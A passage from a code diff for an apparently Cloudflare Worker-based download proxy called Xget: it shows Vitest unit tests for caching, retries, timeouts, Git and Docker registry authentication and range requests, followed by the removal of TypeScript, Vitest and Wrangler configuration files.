const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});
cacheDefault.match.mockRejectedValueOnce(new Error('cache-down'));
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('ok', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt'),
{},
executionContext
);
expect(response.status).toBe(200);
expect(fetchSpy).toHaveBeenCalledTimes(1);
expect(warnSpy).toHaveBeenCalledWith('Cache API unavailable:', expect.any(Error));
});
it('configures Git passthrough headers for upload-pack requests', async () => {
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('', {
status: 200,
headers: { 'Content-Type': 'application/x-git-upload-pack-result' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo.git/git-upload-pack', {
method: 'POST'
}),
{},
executionContext
);
const upstreamHeaders = new Headers(fetchSpy.mock.calls[0][1]?.headers);
expect(response.status).toBe(200);
expect(upstreamHeaders.get('User-Agent')).toBe('git/2.34.1');
expect(upstreamHeaders.get('Content-Type')).toBe('application/x-git-upload-pack-request');
});
it('derives HEAD content length from a range probe when the upstream omits it', async () => {
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {
if (init?.method === 'HEAD') {
return new Response(null, {
status: 200,
headers: { 'Content-Type': 'text/plain' }
});
}
expect(new Headers(init?.headers).get('Range')).toBe('bytes=0-0');
return new Response(null, {
status: 206,
headers: { 'Content-Range': 'bytes 0-0/123' }
});
});
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt', { method: 'HEAD' }),
{},
executionContext
);
expect(response.status).toBe(200);
expect(response.headers.get('Content-Length')).toBe('123');
expect(fetchSpy).toHaveBeenCalledTimes(2);
});
it('uses a successful GET probe to recover missing HEAD content length', async () => {
vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {
if (init?.method === 'HEAD') {
return new Response(null, {
status: 200,
headers: { 'Content-Type': 'text/plain' }
});
}
return new Response(null, {
status: 200,
headers: { 'Content-Length': '321' }
});
});
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt', { method: 'HEAD' }),
{},
executionContext
);
expect(response.status).toBe(200);
expect(response.headers.get('Content-Length')).toBe('321');
});
it('wraps upstream client errors in detailed JSON responses', async () => {
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('teapot', {
status: 418,
headers: { 'Content-Type': 'text/plain' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt'),
{ MAX_RETRIES: '1', RETRY_DELAY_MS: '0' },
executionContext
);
const body = await response.json();
expect(response.status).toBe(418);
expect(body.error).toContain('Upstream server error (418): teapot');
});
it('retries upstream 5xx responses before succeeding', async () => {
const fetchSpy = vi
.spyOn(globalThis, 'fetch')
.mockResolvedValueOnce(
new Response('busy', {
status: 503,
headers: { 'Content-Type': 'text/plain' }
})
)
.mockResolvedValueOnce(
new Response('ok', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt'),
{ MAX_RETRIES: '2', RETRY_DELAY_MS: '0' },
executionContext
);
expect(response.status).toBe(200);
expect(fetchSpy).toHaveBeenCalledTimes(2);
});
it('retries rejected upstream fetches before succeeding', async () => {
const fetchSpy = vi
.spyOn(globalThis, 'fetch')
.mockRejectedValueOnce(new Error('temporary-network-failure'))
.mockResolvedValueOnce(
new Response('ok', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt'),
{ MAX_RETRIES: '2', RETRY_DELAY_MS: '0' },
executionContext
);
expect(response.status).toBe(200);
expect(fetchSpy).toHaveBeenCalledTimes(2);
});
it('times out requests when the abort timer fires', async () => {
const timeoutToken = { id: 'abort-timeout' };
const clearTimeoutSpy = vi.fn();
vi.stubGlobal(
'setTimeout',
vi.fn((callback, delay) => {
void delay;
callback();
return timeoutToken;
})
);
vi.stubGlobal('clearTimeout', clearTimeoutSpy);
vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {
if (init?.signal?.aborted) {
const error = new Error(`Aborted before fetching ${String(input)}`);
error.name = 'AbortError';
throw error;
}
return new Response('unexpected-success', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
});
});
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt'),
{ MAX_RETRIES: '2', RETRY_DELAY_MS: '0', TIMEOUT_SECONDS: '1' },
executionContext
);
expect(response.status).toBe(408);
expect(await response.text()).toBe('Request timeout');
expect(clearTimeoutSpy).toHaveBeenCalledWith(timeoutToken);
});
it('falls back to default retries when retry configuration is invalid', async () => {
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('ok', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt'),
{ MAX_RETRIES: '-1' },
executionContext
);
expect(response.status).toBe(200);
expect(await response.text()).toBe('ok');
expect(fetchSpy).toHaveBeenCalledTimes(1);
});
it('logs and recovers when request setup throws unexpectedly', async () => {
const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});
const redirectSpy = vi.spyOn(Response, 'redirect').mockImplementation(() => {
throw new Error('boom');
});
const response = await worker.fetch(new Request('https://example.com/'), {}, executionContext);
expect(response.status).toBe(500);
expect(await response.text()).toBe('Internal Server Error');
expect(errorSpy).toHaveBeenCalledWith('Error handling request:', expect.any(Error));
expect(redirectSpy).toHaveBeenCalled();
});
it('retries Docker requests with an anonymous token and follows redirects on success', async () => {
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {
const url = String(input);
const headers = new Headers(init?.headers);
if (url === 'https://ghcr.io/v2/private/repo/manifests/latest') {
if (!headers.has('Authorization')) {
return new Response('', {
status: 401,
headers: {
'WWW-Authenticate': 'Bearer realm="https://ghcr.io/token",service="ghcr.io"'
}
});
}
expect(headers.get('Authorization')).toBe('Bearer token-123');
return new Response(null, {
status: 302,
headers: { Location: 'https://pkg.example.com/manifest' }
});
}
if (url.startsWith('https://ghcr.io/token')) {
return new Response(JSON.stringify({ token: 'token-123' }), {
status: 200,
headers: { 'Content-Type': 'application/json' }
});
}
if (url === 'https://pkg.example.com/manifest') {
expect(headers.get('Authorization')).toBeNull();
return new Response('', {
status: 200,
headers: { 'Content-Length': '0' }
});
}
throw new Error(`Unexpected fetch URL: ${url}`);
});
const response = await worker.fetch(
new Request('https://example.com/cr/ghcr/v2/private/repo/manifests/latest', {
headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' }
}),
{},
executionContext
);
expect(response.status).toBe(200);
expect(fetchSpy).toHaveBeenCalledTimes(4);
});
it('warns and falls back to a Docker auth challenge when token negotiation fails', async () => {
const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('', {
status: 401,
headers: { 'WWW-Authenticate': 'Bearer realm="https://ghcr.io/token"' }
})
);
const response = await worker.fetch(
new Request('https://example.com/cr/ghcr/v2/private/repo/manifests/latest', {
headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' }
}),
{},
executionContext
);
expect(response.status).toBe(401);
expect(response.headers.get('WWW-Authenticate')).toBe(
'Bearer realm="https://example.com/cr/ghcr/v2/auth",service="Xget"'
);
expect(warnSpy).toHaveBeenCalledWith('Token fetch failed:', expect.any(Error));
});
it('returns a ranged response after caching the full upstream body', async () => {
cacheDefault.match
.mockResolvedValueOnce(null)
.mockResolvedValueOnce(null)
.mockResolvedValueOnce(
new Response('xy', {
status: 206,
headers: { 'Content-Range': 'bytes 0-1/6' }
})
);
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('xyz123', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.bin', {
headers: { Range: 'bytes=0-1' }
}),
{},
executionContext
);
const metrics = JSON.parse(response.headers.get('X-Performance-Metrics') || '{}');
expect(response.status).toBe(206);
expect(metrics).toHaveProperty('range_cache_hit_after_full_cache');
});
it('warns when cache writes fail without waitUntil support', async () => {
const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});
cacheDefault.put.mockRejectedValueOnce(new Error('cache-put-down'));
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('cached', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt'),
{},
/** @type {ExecutionContext} */ ({})
);
await Promise.resolve();
expect(response.status).toBe(200);
expect(warnSpy).toHaveBeenCalledWith('Cache put failed:', expect.any(Error));
});
it('warns when post-store cache lookups fail for range requests', async () => {
const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});
cacheDefault.match
.mockResolvedValueOnce(null)
.mockResolvedValueOnce(null)
.mockRejectedValueOnce(new Error('range-cache-down'));
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('abcdef', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.bin', {
headers: { Range: 'bytes=0-1' }
}),
{},
executionContext
);
expect(response.status).toBe(200);
expect(warnSpy).toHaveBeenCalledWith('Cache put/match failed:', expect.any(Error));
});
it('copies upstream content length from non-standard header objects when needed', async () => {
const upstreamHeaders = {
/**
* Reads an upstream header value.
* @param {string} name
*/
get(name) {
const header = name.toLowerCase();
if (header === 'content-type') {
return 'text/plain';
}
if (header === 'content-length') {
return '777';
}
return null;
},
*[Symbol.iterator]() {
yield ['Content-Type', 'text/plain'];
}
};
const fakeResponse = /** @type {Response} */ ({
body: null,
headers: upstreamHeaders,
ok: true,
status: 200,
statusText: 'OK',
text: async () => 'ok'
});
vi.spyOn(globalThis, 'fetch').mockResolvedValue(fakeResponse);
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt'),
{},
executionContext
);
expect(response.status).toBe(200);
expect(response.headers.get('Content-Length')).toBe('777');
});
it('warns when upstream content length cannot be read during response finalization', async () => {
const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});
const upstreamHeaders = {
/**
* Reads an upstream header value.
* @param {string} name
*/
get(name) {
if (name.toLowerCase() === 'content-type') {
return 'text/plain';
}
throw new Error('content-length unavailable');
},
*[Symbol.iterator]() {
yield ['Content-Type', 'text/plain'];
}
};
const fakeResponse = /** @type {Response} */ ({
body: null,
headers: upstreamHeaders,
ok: true,
status: 200,
statusText: 'OK',
text: async () => 'ok'
});
vi.spyOn(globalThis, 'fetch').mockResolvedValue(fakeResponse);
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt'),
{},
executionContext
);
expect(response.status).toBe(200);
expect(warnSpy).toHaveBeenCalledWith('Could not set Content-Length header:', expect.any(Error));
});
});
-17
View File
@@ -1,17 +0,0 @@
{
"compilerOptions": {
"allowJs": true,
"checkJs": true,
"esModuleInterop": true,
"forceConsistentCasingInFileNames": true,
"module": "ESNext",
"moduleResolution": "bundler",
"noEmit": true,
"skipLibCheck": true,
"strict": true,
"target": "ES2022",
"types": ["node"]
},
"exclude": ["node_modules", "dist", "coverage"],
"include": ["src/**/*", "test/**/*", "node_modules/@cloudflare/vitest-pool-workers/types/**/*"]
}
-15
View File
@@ -1,15 +0,0 @@
import { cloudflareTest } from '@cloudflare/vitest-pool-workers';
import { configDefaults, defineConfig } from 'vitest/config';
export default defineConfig({
plugins: [
cloudflareTest({
wrangler: { configPath: './wrangler.toml' }
})
],
test: {
exclude: [...configDefaults.exclude, 'test/unit/commitlint-workflow.test.js'],
testTimeout: 60000,
hookTimeout: 30000
}
});
-43
View File
@@ -1,43 +0,0 @@
import { defineConfig } from 'vitest/config';
export default defineConfig({
test: {
testTimeout: 60000,
hookTimeout: 30000,
include: [
'test/features/auth.test.js',
'test/unit/**/*.test.js',
'test/platforms/crates.test.js',
'test/platforms/cran.test.js',
'test/platforms/flathub.test.js',
'test/platforms/homebrew.test.js',
'test/platforms/jenkins.test.js',
'test/platforms/npm-fix.test.js',
'test/platforms/opensuse.test.js'
],
coverage: {
// Cloudflare's Vitest Workers pool cannot emit reliable coverage yet,
// so this suite targets the Node-compatible tests that still exercise src/.
provider: 'istanbul',
reporter: ['text', 'json', 'html', 'lcov'],
reportsDirectory: './coverage',
exclude: [
'node_modules/**',
'test/**',
'coverage/**',
'dist/**',
'*.config.js',
'*.config.ts'
],
include: ['src/**/*.js', 'src/**/*.ts'],
thresholds: {
global: {
branches: 65,
functions: 75,
lines: 70,
statements: 70
}
}
}
}
});
+1 -20
View File
@@ -1,24 +1,5 @@
#:schema node_modules/wrangler/config-schema.json
name = "xget"
main = "src/index.js"
pages_build_output_dir = "."
compatibility_date = "2024-10-22"
compatibility_flags = ["nodejs_compat"]
workers_dev = false
[placement]
mode = "smart"
[observability]
enabled = false
head_sampling_rate = 1
[observability.logs]
enabled = true
head_sampling_rate = 1
persist = true
invocation_logs = true
[observability.traces]
enabled = true
persist = true
head_sampling_rate = 1